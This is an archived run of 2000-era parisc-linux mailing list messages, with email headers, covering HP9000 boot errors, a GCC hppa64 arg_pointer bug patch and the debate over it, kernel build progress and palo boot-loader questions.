Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619229 5220 80.91.229.3 (22 Nov 2014 01:20:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sun Oct 29 23:41:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA12663
	for <parisc-linux@puffin.external.hp.com>; Sun, 29 Oct 2000 23:41:04 -0700
Original-Received: (qmail 23799 invoked by uid 15267); 30 Oct 2000 06:42:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23792 invoked from network); 30 Oct 2000 06:42:42 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 30 Oct 2000 06:42:42 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id B57C8149
	for <parisc-linux@thepuffingroup.com>; Sun, 29 Oct 2000 22:42:41 -0800 (PST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id WAA25804
	for parisc-linux@thepuffingroup.com; Sun, 29 Oct 2000 22:47:32 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:8260


FYI

It seems two of Amodra's messages from Oct 26th where "lost"
to our archives. I've resent them just now.

The problem was the /home/ file system on puffin.external.hp.com was
full and those two messages happened to be casualties of that mess.
Doesn't look like anything else was "damaged" by the /home dir getting
filled up. (But I don't have root access to look more closely either...)

sorry,
grant


From - Thu Nov 08 21:13:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: xam@sgate.charlysworld.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installation problems
Date: Mon, 30 Oct 2000 07:56:36 +0100 (CET)
Lines: 61
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10010300731500.16155-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619229 5223 80.91.229.3 (22 Nov 2014 01:20:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: xam@sgate.charlysworld.de  Sun Oct 29 23:55:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA13236
	for <parisc-linux@puffin.external.hp.com>; Sun, 29 Oct 2000 23:55:08 -0700
Original-Received: (qmail 32444 invoked by uid 15267); 30 Oct 2000 06:56:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32422 invoked from network); 30 Oct 2000 06:56:45 -0000
Original-Received: from p3e9ba257.dip.t-dialin.net (HELO sgate.charlysworld.de) (root@62.155.162.87)
  by mailserv2.iuinc.com with SMTP; 30 Oct 2000 06:56:45 -0000
Original-Received: from localhost (xam@localhost)
	by sgate.charlysworld.de (8.9.3/8.8.7) with ESMTP id HAA16819
	for <parisc-linux@thepuffingroup.com>; Mon, 30 Oct 2000 07:56:39 +0100
Xref: news.gmane.org gmane.linux.ports.parisc:8261

Hi all,

i have some problems while installing Linux/hppa on my
hp9000/730. since i don't have any hp manuals i ask
here (i didn't find any information on hp.com or elsewhere)

I installed the latest nfsroot on my linux/x86, also
the latest cross-compiler package, got the latest palo
and tried to install palo on a ibm0664 scsi hd (2gb,
1. partition 10mb /boot, 2.partition 128mb swap, rest /).

I found some documents in the internet which said that
this harddisk is compatible with hpux and/or hp9000/7xx.

well, i adopted some files of the nfsroot and installed
the contents of the nfsroot also on the harddisk (the
only one on the hp, scsi id 6).

unfortunately i can't boot the harddisk (i also tried
some other harddisks, so i think it is some problem
which is not related to the hardware, because i have/had
a hd with preinstalled hpux10.10 which doesn't make any
troubles ...).

The boot sequence stops with

ENTRY_INIT status=-13

i don't have any clue what this means ...

the internal scsi-floppy (id 0) give the following
error:

ENTRY_INIT status=-4 (since i don't have a bootable disk)

all the other (n/a) ids produce a

ENTRY_INIT status=-7 (i think this means "no hardware connected")


i also connected a zip drive (id 3), a cdrom (id 4) and a cdwriter (id 5)
drive, they report

can't boot IPL!

but the initialition of these scsi devices is okay (produces no errors)

so i'm a little bit confused, because the zip/cdrom/cdwriter
can be initialized, but not the harddisk.
i expected that the hd would be initialized correctly, but^it would
also give a "can't boot IPL!" error or no error at all ....


so can someone give me a hint what ENTRY_INIT status = -13 means ?
what did i do wrong ?

thanks in advance,
max
.



From - Thu Nov 08 21:13:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: testcase for hppa64 gcc bug
Date: Mon, 30 Oct 2000 18:04:44 +1100 (EST)
Lines: 178
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010301335000.25085-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0010270024230.31251-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619230 5225 80.91.229.3 (22 Nov 2014 01:20:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:30 +0000 (UTC)
Cc: gcc-patches@gcc.gnu.org, parisc-linux@thepuffingroup.com,
        Jeffrey A Law <law@cygnus.com>
To: gcc-bugs@gcc.gnu.org
Original-X-From: alan@linuxcare.com.au  Mon Oct 30 00:03:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA13815
	for <parisc-linux@puffin.external.hp.com>; Mon, 30 Oct 2000 00:03:42 -0700
Original-Received: (qmail 5494 invoked by uid 15267); 30 Oct 2000 07:05:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5436 invoked from network); 30 Oct 2000 07:05:13 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 30 Oct 2000 07:05:13 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA03853;
	Mon, 30 Oct 2000 18:04:44 +1100
In-Reply-To: <Pine.LNX.4.21.0010270024230.31251-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:8262

On Fri, 27 Oct 2000, Alan Modra wrote:

> char *f3 (char *a, char *b)
> {
>   char *c = 0;
> 
>   if (f1 (&b) != 0)
>     goto out;
> 
>   /* hppa64 passes bogus value for b */
>   f2 (b, &c);
> 
> out:
>   return c;
> }

I think I know what's going on here.  The root of the problem is that
pa-64.h defines an ARG_POINTER_REGNUM that isn't a fixed reg, and isn't
eliminable.  The arg_pointer isn't even a call-saved reg.  That breaks a
number of places in the compiler.

So I went down the path of trying to fix things properly by defining
ELIMINABLE_REGS and so on, but I ended in a maze of twisty little passages
labelled "Unrecognizable instruction", like this one:

/src/parisc/gcc/gcc/libgcc2.c: In function `__moddi3':
/src/parisc/gcc/gcc/libgcc2.c:601: Unrecognizable insn:
(insn 1289 209 1298 (set (reg:SI 50 %fr22)
        (subreg:SI (plus:DI (reg:DI 30 %r30)
                (const_int -272 [0xfffffef0])) 0)) -1 (nil)
    (nil))
/src/parisc/gcc/gcc/libgcc2.c:601: Internal compiler error in
extract_insn, at recog.c:2134

Anyway, this hack seems to fix it for me.

	* rtl.h (ARG_POINTER_INVARIANT): Define as 1 if undef.
	* rtlanal.c (rtx_unstable_p): Qualify arg_pointer_rtx match with
	ARG_POINTER_INVARIANT.
	(rtx_varies_p): Likewise.
	(rtx_addr_can_trap_p): Likewise.
	* local-alloc.c (function_invariant_p): Likewise.
	* loop.c (loop_invariant_p): Likewise.
	* tm.texi (ARG_POINTER_INVARIANT): Describe.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.

Index: gcc/local-alloc.c
===================================================================
RCS file: /cvs/gcc/egcs/gcc/local-alloc.c,v
retrieving revision 1.72
diff -u -p -r1.72 local-alloc.c
--- gcc/local-alloc.c	2000/10/23 18:42:52	1.72
+++ gcc/local-alloc.c	2000/10/30 03:57:35
@@ -780,10 +780,12 @@ function_invariant_p (x)
 {
   if (CONSTANT_P (x))
     return 1;
-  if (x == frame_pointer_rtx || x == arg_pointer_rtx)
+  if (x == frame_pointer_rtx
+      || (ARG_POINTER_INVARIANT && x == arg_pointer_rtx))
     return 1;
   if (GET_CODE (x) == PLUS
-      && (XEXP (x, 0) == frame_pointer_rtx || XEXP (x, 0) == arg_pointer_rtx)
+      && (XEXP (x, 0) == frame_pointer_rtx
+	  || (ARG_POINTER_INVARIANT && XEXP (x, 0) == arg_pointer_rtx))
       && CONSTANT_P (XEXP (x, 1)))
     return 1;
   return 0;
Index: gcc/loop.c
===================================================================
RCS file: /cvs/gcc/egcs/gcc/loop.c,v
retrieving revision 1.293
diff -u -p -r1.293 loop.c
--- gcc/loop.c	2000/10/21 12:12:07	1.293
+++ gcc/loop.c	2000/10/30 03:58:24
@@ -3038,7 +3038,7 @@ loop_invariant_p (loop, x)
 	 since the reg might be set by initialization within the loop.  */
 
       if ((x == frame_pointer_rtx || x == hard_frame_pointer_rtx
-	   || x == arg_pointer_rtx)
+	   || (ARG_POINTER_INVARIANT && x == arg_pointer_rtx))
 	  && ! current_function_has_nonlocal_goto)
 	return 1;
 
Index: gcc/rtl.h
===================================================================
RCS file: /cvs/gcc/egcs/gcc/rtl.h,v
retrieving revision 1.228
diff -u -p -r1.228 rtl.h
--- gcc/rtl.h	2000/10/16 16:24:54	1.228
+++ gcc/rtl.h	2000/10/30 04:03:31
@@ -1504,6 +1504,10 @@ extern rtx global_rtl[GR_MAX];
 #define hard_frame_pointer_rtx	(global_rtl[GR_HARD_FRAME_POINTER])
 #define arg_pointer_rtx		(global_rtl[GR_ARG_POINTER])
 
+#ifndef ARG_POINTER_INVARIANT
+#define ARG_POINTER_INVARIANT 1
+#endif
+
 extern rtx pic_offset_table_rtx;
 extern rtx struct_value_rtx;
 extern rtx struct_value_incoming_rtx;
Index: gcc/rtlanal.c
===================================================================
RCS file: /cvs/gcc/egcs/gcc/rtlanal.c,v
retrieving revision 1.74
diff -u -p -r1.74 rtlanal.c
--- gcc/rtlanal.c	2000/10/24 23:01:11	1.74
+++ gcc/rtlanal.c	2000/10/30 04:03:51
@@ -71,7 +71,8 @@ rtx_unstable_p (x)
     case REG:
       /* As in rtx_varies_p, we have to use the actual rtx, not reg number.  */
       if (x == frame_pointer_rtx || x == hard_frame_pointer_rtx
-	  || x == arg_pointer_rtx || RTX_UNCHANGING_P (x))
+	  || (ARG_POINTER_INVARIANT && x == arg_pointer_rtx)
+	  || RTX_UNCHANGING_P (x))
 	return 0;
 #ifndef PIC_OFFSET_TABLE_REG_CALL_CLOBBERED
       /* ??? When call-clobbered, the value is stable modulo the restore
@@ -144,7 +145,7 @@ rtx_varies_p (x)
 	 eliminated the frame and/or arg pointer and are using it
 	 for pseudos.  */
       if (x == frame_pointer_rtx || x == hard_frame_pointer_rtx
-	  || x == arg_pointer_rtx)
+	  || (ARG_POINTER_INVARIANT && x == arg_pointer_rtx))
 	return 0;
 #ifndef PIC_OFFSET_TABLE_REG_CALL_CLOBBERED
       /* ??? When call-clobbered, the value is stable modulo the restore
@@ -209,7 +210,8 @@ rtx_addr_can_trap_p (x)
     case REG:
       /* As in rtx_varies_p, we have to use the actual rtx, not reg number.  */
       return ! (x == frame_pointer_rtx || x == hard_frame_pointer_rtx
-		|| x == stack_pointer_rtx || x == arg_pointer_rtx);
+		|| (ARG_POINTER_INVARIANT && x == arg_pointer_rtx)
+		|| x == stack_pointer_rtx);
 
     case CONST:
       return rtx_addr_can_trap_p (XEXP (x, 0));
Index: gcc/tm.texi
===================================================================
RCS file: /cvs/gcc/egcs/gcc/tm.texi,v
retrieving revision 1.149
diff -u -p -r1.149 tm.texi
--- gcc/tm.texi	2000/10/18 17:51:54	1.149
+++ gcc/tm.texi	2000/10/30 04:06:49
@@ -2564,7 +2564,12 @@ register this is.  On other machines, yo
 wish for this purpose.  If this is not the same register as the frame
 pointer register, then you must mark it as a fixed register according to
 @code{FIXED_REGISTERS}, or arrange to be able to eliminate it
-(@pxref{Elimination}).
+(@pxref{Elimination}), or clear ARG_POINTER_INVARIANT
+
+@findex ARG_POINTER_INVARIANT
+@item ARG_POINTER_INVARIANT
+ARG_POINTER_INVARIANT allows the compiler to assume that
+ARG_POINTER_REGNUM is unchanging over the life of a function.
 
 @findex RETURN_ADDRESS_POINTER_REGNUM
 @item RETURN_ADDRESS_POINTER_REGNUM
Index: gcc/config/pa/pa-64.h
===================================================================
RCS file: /cvs/gcc/egcs/gcc/config/pa/pa-64.h,v
retrieving revision 1.3
diff -u -p -r1.3 pa-64.h
--- gcc/config/pa/pa-64.h	2000/09/25 13:39:45	1.3
+++ gcc/config/pa/pa-64.h	2000/10/30 04:30:51
@@ -129,6 +129,7 @@ do {  \
 #undef ARGS_GROW_DOWNWARD
 #undef ARG_POINTER_REGNUM
 #define ARG_POINTER_REGNUM 29
+#define ARG_POINTER_INVARIANT 0
 #undef STATIC_CHAIN_REGNUM
 #define STATIC_CHAIN_REGNUM 31
 


From - Thu Nov 08 21:13:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation problems
Date: Sun, 29 Oct 2000 23:28:37 -0800
Lines: 55
Approved: news@gmane.org
Message-ID: <200010300728.XAA25855@milano.cup.hp.com>
References: <Pine.LNX.4.10.10010300731500.16155-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619230 5228 80.91.229.3 (22 Nov 2014 01:20:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:30 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: xam@sgate.charlysworld.de
Original-X-From: grundler@cup.hp.com  Mon Oct 30 00:22:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA24290
	for <parisc-linux@puffin.external.hp.com>; Mon, 30 Oct 2000 00:22:10 -0700
Original-Received: (qmail 16830 invoked by uid 15267); 30 Oct 2000 07:23:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16823 invoked from network); 30 Oct 2000 07:23:49 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 30 Oct 2000 07:23:49 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 874C31131; Sun, 29 Oct 2000 23:23:48 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id XAA25855;
	Sun, 29 Oct 2000 23:28:38 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 30 Oct 2000 07:56:36 PST."
             <Pine.LNX.4.10.10010300731500.16155-100000@sgate.charlysworld.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:8263

xam@sgate.charlysworld.de wrote:
 
> and tried to install palo on a ibm0664 scsi hd (2gb,
> 1. partition 10mb /boot, 2.partition 128mb swap, rest /).
...
> I found some documents in the internet which said that
> this harddisk is compatible with hpux and/or hp9000/7xx.

[ Digression: HPUX is pretty tolerant/robust on dealing with SCSI disks.
HP doesn't want to deal with issues which arise from disk firmware bugs.
So while the bare mechanism might be supported, you need to have
HP qualified firmware to complain to HP about problems...]


> unfortunately i can't boot the harddisk (i also tried
> some other harddisks, so i think it is some problem
> which is not related to the hardware, because i have/had
> a hd with preinstalled hpux10.10 which doesn't make any
> troubles ...).
> 
> The boot sequence stops with
> 
> ENTRY_INIT status=-13
> 
> i don't have any clue what this means ...

I don't either but I would guess the disk isn't spinning up because
the PDC/IODC didn't tell it to. Check for option jumpers on the disk
to (en-) disable two features:
o auto-start
o delayed start

Your SCSI disk might be configured to *NOT* spinup (ie auto-start
disabled) until it gets a "start unit" SCSI command from the host
(aka "initiator").

"delay start" usually implies auto-start is enabled but the mech
won't spinup until prescribed amount of time has passed.
Often the delay is something like "3+ID*6" seconds.

...
> so can someone give me a hint what ENTRY_INIT status = -13 means ?
> what did i do wrong ?

This might be documented in "iodc.pdf" or "pdc32.pdf" found on:
	http://www.thepuffingroup.com/parisc/documentation.html

Search for ENTRY_INIT.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa64-linux gcc bug
Date: Mon, 30 Oct 2000 19:50:47 +1100 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010301937470.25085-100000@front.linuxcare.com.au>
References: <200010260404.VAA21509@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619230 5234 80.91.229.3 (22 Nov 2014 01:20:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:30 +0000 (UTC)
Cc: John Marvin <jsm@fc.hp.com>, parisc-linux@thepuffingroup.com,
        opensource@cup.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Mon Oct 30 01:55:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA25322
	for <parisc-linux@puffin.external.hp.com>; Mon, 30 Oct 2000 01:55:00 -0700
Original-Received: (qmail 12158 invoked by uid 15267); 30 Oct 2000 08:56:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12087 invoked from network); 30 Oct 2000 08:56:33 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 30 Oct 2000 08:56:33 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA05918;
	Mon, 30 Oct 2000 19:50:48 +1100
In-Reply-To: <200010260404.VAA21509@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8264

I've checked in a fix for the arg_pointer problem on pa64 that should fix
the problem you found with create_proc_entry (and probably elsewhere in
the kernel too).  It's not the ideal fix, as I ran into other problems
trying to eliminate the arg_pointer completely, and it's taken up a large
lump of my time already.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:13:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel updates.
Date: Sun, 18 Apr 1999 02:10:22 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990418020814.1235C-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619231 5235 80.91.229.3 (22 Nov 2014 01:20:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:31 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Sun Apr 18 02:10:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id CAA14936
	for <parisc-linux@sod.res.cmu.edu>; Sun, 18 Apr 1999 02:10:25 -0400
Original-Received: (qmail 32698 invoked by uid 15267); 18 Apr 1999 06:09:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32691 invoked from network); 18 Apr 1999 06:09:22 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 18 Apr 1999 06:09:22 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id CAA10287
	for <parisc-linux@thepuffingroup.com>; Sun, 18 Apr 1999 02:10:23 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:8265


So, I spent some time this rainy Saturday on the kernel, and brought the
kernel a little closer to building.  There's now about 8 to 12 undefined
symbols still to fix, but make dep and make vmlinux now do two different
things.

There's a lot of stuff still to do in this, please, take the kernel tree
and try compiling it.  More importantly, help me fix it.

And ld.  We need ld help.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team



From - Thu Nov 08 21:13:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: testcase for hppa64 gcc bug
Date: Mon, 30 Oct 2000 15:15:50 -0500 (EST)
Lines: 37
Approved: news@gmane.org
Message-ID: <200010302015.PAA05033@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.21.0010301335000.25085-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619231 5238 80.91.229.3 (22 Nov 2014 01:20:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:31 +0000 (UTC)
Cc: gcc-bugs@gcc.gnu.org, gcc-patches@gcc.gnu.org,
        parisc-linux@thepuffingroup.com, law@cygnus.com
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Oct 30 13:14:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA31941
	for <parisc-linux@puffin.external.hp.com>; Mon, 30 Oct 2000 13:14:26 -0700
Original-Received: (qmail 7241 invoked by uid 15267); 30 Oct 2000 20:16:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7207 invoked from network); 30 Oct 2000 20:16:00 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 30 Oct 2000 20:16:00 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA05033;
	Mon, 30 Oct 2000 15:15:50 -0500 (EST)
In-Reply-To: <Pine.LNX.4.21.0010301335000.25085-100000@front.linuxcare.com.au> from "Alan Modra" at Oct 30, 2000 06:04:44 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8266

> I think I know what's going on here.  The root of the problem is that
> pa-64.h defines an ARG_POINTER_REGNUM that isn't a fixed reg, and isn't
> eliminable.  The arg_pointer isn't even a call-saved reg.  That breaks a
> number of places in the compiler.
> 
> So I went down the path of trying to fix things properly by defining
> ELIMINABLE_REGS and so on, but I ended in a maze of twisty little passages
> labelled "Unrecognizable instruction", like this one:
> 
> /src/parisc/gcc/gcc/libgcc2.c: In function `__moddi3':
> /src/parisc/gcc/gcc/libgcc2.c:601: Unrecognizable insn:
> (insn 1289 209 1298 (set (reg:SI 50 %fr22)
>         (subreg:SI (plus:DI (reg:DI 30 %r30)
>                 (const_int -272 [0xfffffef0])) 0)) -1 (nil)
>     (nil))
> /src/parisc/gcc/gcc/libgcc2.c:601: Internal compiler error in
> extract_insn, at recog.c:2134
> 
> Anyway, this hack seems to fix it for me.
> 
> 	* rtl.h (ARG_POINTER_INVARIANT): Define as 1 if undef.
> 	* rtlanal.c (rtx_unstable_p): Qualify arg_pointer_rtx match with
> 	ARG_POINTER_INVARIANT.
> 	(rtx_varies_p): Likewise.
> 	(rtx_addr_can_trap_p): Likewise.
> 	* local-alloc.c (function_invariant_p): Likewise.
> 	* loop.c (loop_invariant_p): Likewise.
> 	* tm.texi (ARG_POINTER_INVARIANT): Describe.

I don't think this is the correct fix.  Isn't r29 used for 128 bit
return values?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] unable to run palo on nfs root
Date: Mon, 30 Oct 2000 13:51:00 -0800
Lines: 11
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001030134804.00a46a60@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619231 5239 80.91.229.3 (22 Nov 2014 01:20:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:31 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: kailasr@webcash.com  Mon Oct 30 14:51:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA00518
	for <parisc-linux@puffin.external.hp.com>; Mon, 30 Oct 2000 14:51:42 -0700
Original-Received: (qmail 16759 invoked by uid 15267); 30 Oct 2000 21:53:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16683 invoked from network); 30 Oct 2000 21:53:12 -0000
Original-Received: from ns2.imedia.net (HELO galaxy-net.net) (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 30 Oct 2000 21:53:12 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by galaxy-net.net (8.10.2/8.9.3) with ESMTP id e9ULmqc43109
	for <parisc-linux@thepuffingroup.com>; Mon, 30 Oct 2000 13:48:52 -0800 (PST)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Xref: news.gmane.org gmane.linux.ports.parisc:8267

Hi,

I have booted HP A class server from nfsroot. but when I try to run palo on 
the server to initialize boot loader to the hdd I get
"cannot execute the binary file"

can any one help me to make the hdd bootable

Regards
Kailas


From - Thu Nov 08 21:13:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: testcase for hppa64 gcc bug
Date: Tue, 31 Oct 2000 09:16:43 +1100 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010310822570.22018-100000@front.linuxcare.com.au>
References: <200010302015.PAA05033@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619231 5242 80.91.229.3 (22 Nov 2014 01:20:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:31 +0000 (UTC)
Cc: gcc-bugs@gcc.gnu.org, gcc-patches@gcc.gnu.org,
        parisc-linux@thepuffingroup.com, law@cygnus.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: alan@linuxcare.com.au  Mon Oct 30 15:15:38 2000
